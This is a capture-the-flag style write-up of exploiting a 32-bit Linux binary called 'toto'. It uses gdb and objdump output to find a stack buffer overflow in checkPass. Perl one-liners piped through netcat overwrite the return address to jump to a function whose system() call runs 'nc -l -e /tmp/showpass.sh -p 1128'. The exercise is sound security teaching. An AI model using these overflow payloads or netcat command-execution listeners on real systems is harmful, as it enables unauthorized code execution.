We downloaded a file called "toto",
# file toto toto: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped # strings toto /lib/ld-linux.so.2 __gmon_start__ libc.so.6 _IO_stdin_used socket exit htons perror fork listen strlen bind read memcpy strcat bzero system atoi close accept __libc_start_main write snprintf GLIBC_2.0 PTRh@ [^_] ERROR writing to socket nc -l -e /tmp/showpass.sh -p ERROR opening socket ERROR on binding ERROR on accept Error on fork Adieu l'ami, dis-voir c'que c'est ton mot de passe: De dieu, tu t'en souviens pas? C'est balot! # ./toto 1234
On a client, we get:
> nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe: blabla De dieu, tu t'en souviens pas? C'est balot!
It's an exploitation, so on the server, we debug the program (it forks, to we follow the child):
# gdb -q ./toto (gdb) set follow-fork-mode child (gdb) set disassembly-flavor intel (gdb) r 1234 Starting program: /root/toto 1234
On the client, let's do:
> echo `perl -e 'print "A"x24 '`| nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
And the server segfaults:
Program received signal SIGSEGV, Segmentation fault. [Switching to process 1962] 0x41414141 in ?? ()
The backtrace is definitely screwed, so we just have a quick look:
0804888c <checkPass>: 804888c: 55 push ebp 804888d: 89 e5 mov ebp,esp 804888f: 83 ec 28 sub esp,0x28 8048892: c7 44 24 08 20 00 00 mov DWORD PTR [esp+0x8],0x20 <------ 8048899: 00 804889a: 8d 45 f0 lea eax,[ebp-0x10] 804889d: 89 44 24 04 mov DWORD PTR [esp+0x4],eax 80488a1: 8b 45 08 mov eax,DWORD PTR [ebp+0x8] 80488a4: 89 04 24 mov DWORD PTR [esp],eax 80488a7: e8 48 fd ff ff call 80485f4 <read@plt> 80488ac: c9 leave 80488ad: c3 ret
We shipped 24 bytes, so we wrote the return address. Let break on the ret of checkPass:
(gdb) b *0x80488ad Breakpoint 1 at 0x80488ad (gdb) b *0x80488ad Breakpoint 1 at 0x80488ad Breakpoint 1, 0x080488ad in checkPass () Current language: auto; currently asm (gdb) x /16wx $esp 0xbfe019ac: 0x41414141 0x0000000a 0x00000007 0xbfe01afc 0xbfe019bc: 0xb7f02ff4 0xb7ee6b0c 0x00000001 0xbfe01a44 0xbfe019cc: 0xb5df0002 0x01c710ac 0x00000000 0x00000000 0xbfe019dc: 0xd4040002 0x00000000 0x00000000 0x00000000
So we rewrote with 0x41414141. What to put here ? By having a very quick look at the binary, there is an interesting function called pwnthis:
(gdb) disassemble pwnthis Dump of assembler code for function pwnthis: 0x080487ef <pwnthis+0>: push ebp 0x080487f0 <pwnthis+1>: mov ebp,esp 0x080487f2 <pwnthis+3>: push ebx 0x080487f3 <pwnthis+4>: sub esp,0x124 0x080487f9 <pwnthis+10>: mov eax,DWORD PTR [ebp+0x8] 0x080487fc <pwnthis+13>: mov DWORD PTR [esp+0xc],eax 0x08048800 <pwnthis+17>: mov DWORD PTR [esp+0x8],0x8048b18 0x08048808 <pwnthis+25>: mov DWORD PTR [esp+0x4],0x5 0x08048810 <pwnthis+33>: lea eax,[ebp-0x9] 0x08048813 <pwnthis+36>: mov DWORD PTR [esp],eax 0x08048816 <pwnthis+39>: call 0x80486b4 <snprintf@plt> 0x0804881b <pwnthis+44>: mov DWORD PTR [esp+0x4],0x100 0x08048823 <pwnthis+52>: lea eax,[ebp-0x109] 0x08048829 <pwnthis+58>: mov DWORD PTR [esp],eax 0x0804882c <pwnthis+61>: call 0x80486a4 <bzero@plt> 0x08048831 <pwnthis+66>: mov DWORD PTR [esp+0x8],0x1e 0x08048839 <pwnthis+74>: mov DWORD PTR [esp+0x4],0x8048b1b 0x08048841 <pwnthis+82>: lea ebx,[ebp-0x109] 0x08048847 <pwnthis+88>: lea eax,[ebp-0x109] 0x0804884d <pwnthis+94>: mov DWORD PTR [esp],eax 0x08048850 <pwnthis+97>: call 0x8048644 <strlen@plt> 0x08048855 <pwnthis+102>: lea eax,[ebx+eax*1] 0x08048858 <pwnthis+105>: mov DWORD PTR [esp],eax 0x0804885b <pwnthis+108>: call 0x8048634 <memcpy@plt> 0x08048860 <pwnthis+113>: lea eax,[ebp-0x9] 0x08048863 <pwnthis+116>: mov DWORD PTR [esp+0x4],eax 0x08048867 <pwnthis+120>: lea eax,[ebp-0x109] 0x0804886d <pwnthis+126>: mov DWORD PTR [esp],eax 0x08048870 <pwnthis+129>: call 0x8048684 <strcat@plt> 0x08048875 <pwnthis+134>: lea eax,[ebp-0x109] 0x0804887b <pwnthis+140>: mov DWORD PTR [esp],eax 0x0804887e <pwnthis+143>: call 0x80485a4 <system@plt> 0x08048883 <pwnthis+148>: add esp,0x124 0x08048889 <pwnthis+154>: pop ebx 0x0804888a <pwnthis+155>: pop ebp 0x0804888b <pwnthis+156>: ret
So we are going to write the address to return there and break before the system to see the content:
> echo `perl -e 'print "A"x20 . "\xef\x87\x04\x08" , "AAAA" . "CCCC" '`| nc 172.16.199.131 1234 Adieu l'ami, dis-voir c'que c'est ton mot de passe:
And on the server side:
Breakpoint 2, 0x0804887e in pwnthis () (gdb) x /wx $esp 0xbf9e3c64: 0xbf9e3c83 (gdb) x /s 0xbf9e3c83 0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128
Amazing, it's gonna open a local port on 1128. You can modify the port, since it's part of the buffer you write 0xbf9e3c83: "nc -l -e /tmp/showpass.sh -p 1128"
So now, we just need to connect to the remote port to execute the showpass.sh. The server was dead, validation was not possible.
> nc 172.16.199.131 1128